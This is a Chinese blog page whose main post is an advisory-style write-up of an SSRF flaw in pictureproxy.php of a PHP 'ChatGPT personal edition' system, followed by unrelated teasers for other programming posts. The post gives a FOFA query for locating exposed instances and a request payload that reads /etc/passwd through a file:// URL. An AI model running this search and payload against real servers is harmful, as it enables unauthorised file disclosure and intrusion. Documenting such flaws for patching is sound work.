当前位置：首页 > news >正文

chatgpt个人版ssrf漏洞

news 2025/7/9 12:25:06

文章目录

- 免责申明
- 搜索语法
- 漏洞描述
- 漏洞复现
- 修复建议

免责申明

本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任

搜索语法

fofa

title="ChatGPT个人专用版"

漏洞描述

该系统是一个开源的chatgpt系统，是PHP版调用OpenAI的API接口进行问答的模型，在prictureproxy.php文件处存在ssrf漏洞

漏洞复现

payload

GET /pictureproxy.php?url=file:///etc/passwd HTTP/1.1
Host: x.x.x.x

在这里插入图片描述

修复建议

修改源代码，进行黑白名单

chatgpt个人版ssrf漏洞

文章目录免责申明搜索语法漏洞描述漏洞复现修复建议免责申明本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任搜索语法 fofa title"ChatGPT个人专用版"漏洞描述该系统是一个开源的…...

编程日记 2024/9/18 20:02:29

如何查看微信聊天记录？四种实用方法查询微信聊天记录，赶快码住！

微信作为我们日常生活中不可或缺的社交工具，记录了大量的聊天内容和重要信息。当需要查看或恢复微信聊天记录时，很多人可能不知道如何快速、安全地进行操作。今天，我们就来介绍四种实用的微信聊天记录查询方法，帮助你有效查看微…...

编程日记 2024/9/18 20:01:28

钢材表面缺陷数据集以coco格式做好了数据集的划分，1200张训练集，600张验证集，对应的json文件也在里面

钢材表面缺陷数据集以coco格式做好了数据集的划分，1200张训练集，600张验证集，对应的json文件也在里面。钢材表面缺陷检测数据集营销介绍项目背景： 钢材作为工业生产的重要原材料之一，其表面质量直接影响到成品的性…...

编程日记 2024/9/18 19:58:25

【Lua坑】Lua协程coroutine无法正常完整执行问题

问题：发现Lua协程执行到一半，突然被掐断了一样等到了设定的时间没有正常执行协程后续代码！非必现bug，若发生大概率在高频率使用协程时易触发。 LuaFramework或xLua uLua都自带有协程coroutine，而且基本都使用对象池缓…...

编程日记 2024/9/18 19:55:21

istio中serviceentry结合egressgateway的使用

假设有一个外部服务，外部服务ip为：10.10.102.90，其中32033为v1版本，32034为v2版本。现在需要把这个服务引入到istio中，并且需要配置所有访问该服务的流量都通过egressgateway转发出去。 serviceentry apiVersion: n…...

编程日记 2024/9/18 19:54:20

使用 Python 实现 Windows 应用图标的便捷生成：一站式 PNG 转 ICO 工具20240918

使用 Python 实现 Windows 应用图标的便捷生成：一站式 PNG 转 ICO 工具在开发 Windows 桌面应用程序时，图标文件（ICO）的生成是不可忽视的关键步骤。无论是任务栏图标、快捷方式，还是应用程序的主图标，都需…...

编程日记 2024/9/18 19:52:17

编程环境常用命令合集

cmd: python 进入python运行环境 exit()/quit()/ctrlZ 退出环境 rmdir /s venv 删除环境 pip命令： pip list 查看所有库 pip install <库> 安装库 -i <数据源>可指定安装数据源 pip install <库>x.x.x 安装指定版本的库 pip install --upgrade &…...

编程日记 2024/9/18 19:47:10

Qt Creator 集成开发环境常见问题

1.QtCreator中三种不同编译版本 debug、release、profile 的区别在 Qt Creator 中，Debug、Release 和 Profile 是三种不同的构建配置，它们主要用于在开发过程中生成不同类型的可执行文件。它们的区别如下： 1.1 Debug（调试版本&…...

编程日记 2024/9/18 19:46:09

使用Faiss进行K-Means聚类

📝 本文需要的前置知识：Faiss的基本使用目录 1. 源码剖析1.1 参数解释 2. 聚类过程详解2.1 初始化聚类中心2.2 分配步骤（Assignment）2.3 更新步骤（Update）2.4 收敛与终止条件 3. GPU 加速3.1 索引结构与 G…...

编程日记 2024/9/18 19:44:06

通过hosts.allow和hosts.deny限制用户登录

1、Hosts.allow和host.deny说明两个文件是控制远程访问设置的，通过设置这个文件可以允许或者拒绝某个ip或者ip段的客户访问linux的某项服务。如果请求访问的主机名或IP不包含在/etc/hosts.allow中，那么tcpd进程就检查/etc/hosts.deny。看请求访问的主机…...

编程日记 2024/9/18 19:42:03

PWN College 关于sql盲注

在这个场景中，我们需要利用SQL注入漏洞来泄露flag，但是应用程序并不会直接返回查询结果。相反，我们需要根据应用程序的行为差异（登录成功与否）来推断查询结果。这就是所谓的"布尔盲注"（Boolean-b…...

编程日记 2024/9/18 19:41:01

【Linux篇】Http协议（1）（笔记）

目录一、http基本认识 1. Web客户端和服务器 2. 资源 3. URI 4. URL 5. 事务 6. 方法 7. 状态码二、HTTP报文 1. 报文的流动 （1）流入源端服务器 （2）向下游流动 2. 报文语法三、TCP连接 1. TCP传输方式 2. TCP连…...

编程日记 2024/9/18 19:37:58

员工疯狂打CALL！解锁企业微信新玩法，2024年必学秘籍来啦！

现在工作离不开电脑手机，公司交流也得用新招。腾讯出了个企业微信，就是给公司用的聊天工具。它功能强大，操作简便，很多公司用它来让工作更高效，团队合作更紧密。接下来，我会简单说说怎么上手企业微信&#…...

编程日记 2024/9/18 19:36:56

Spring boot从0到1 - day01

前言 Spring 框架作为 Java 领域中最受欢迎的开发框架之一，提供了强大的支持来帮助开发者构建高性能、可维护的 Web 应用。学习目标 Spring 基础 Spring框架是什么？Spring IoC与Aop怎么理解？ Spring Boot 的快速构建 Spring 基础学习…...

编程日记 2024/9/18 19:34:26

Flutter 项目结构的区别

如果需要调用原生代码，请创建一个plugin类型的项目开发。如果需要调用C语言，请参考文档：Flutter项目中调用C语言plugin 其实是 package 的一种，全称是 plugin package，我们简称为 plugin，中文叫插件。 1. A…...

编程日记 2024/9/18 19:33:04

EfficientFormerV2：重新思考视觉变换器以实现与MobileNet相当的尺寸和速度。

摘要 https://arxiv.org/pdf/2212.08059 随着视觉变换器（ViTs）在计算机视觉任务中的成功，近期的研究尝试优化ViTs的性能和复杂度，以实现在移动设备上的高效部署。提出了多种方法来加速注意力机制，改进低效设计&#xf…...

编程日记 2024/9/18 19:32:03

ASP.NET Core高效管理字符串集合

我们在开发 Web 项目时经常遇到需要管理各种来源的字符串集合（例如HTTP 标头、查询字符串、设置的值等）的情况。合理的管理这些字符串集合不仅可以减少出bug的几率，也能提高应用程序的性能。ASP.NET Core 为我们提供了一种特殊的只读结构体 S…...

编程日记 2024/9/18 19:31:01

开始 ubuntu22.04 LTSVMwareTools-10.3.25-20206839.tar.gzVMware Workstation 17 Pro 各种该尝试的配置都尝试了,比如: 1.开启复制粘贴拖拽; 2.VMware Tools拖拽失效; 3.解决VMware无法拖拽. 均没有奏效. 安装过程报错, 报错异常: The installation of VMware Tools 10.3.25…...

编程日记 2024/9/18 19:30:00

Docker 容器网络技术

Docker 容器网络技术一、概述 Docker 容器技术在微服务架构和云原生应用中扮演着重要角色。容器的轻量化和快速启动特性，使得它们成为现代应用部署的首选。然而，容器的网络连接和管理是一个复杂的问题，尤其是当涉及到容器间通信时。Docker…...

编程日记 2024/9/18 19:28:58

C++ 起始帧数、结束帧数、剪辑视频

C 指定起始帧数、结束帧数、剪辑视频 C 无法直接用H264，只能用avi编码格式 #include <iostream> #include <opencv2/opencv.hpp>int main() {// 读取视频：创建了一个VideoCapture对象，参数为摄像头编号std::string path &quo…...

编程日记 2024/9/18 19:27:54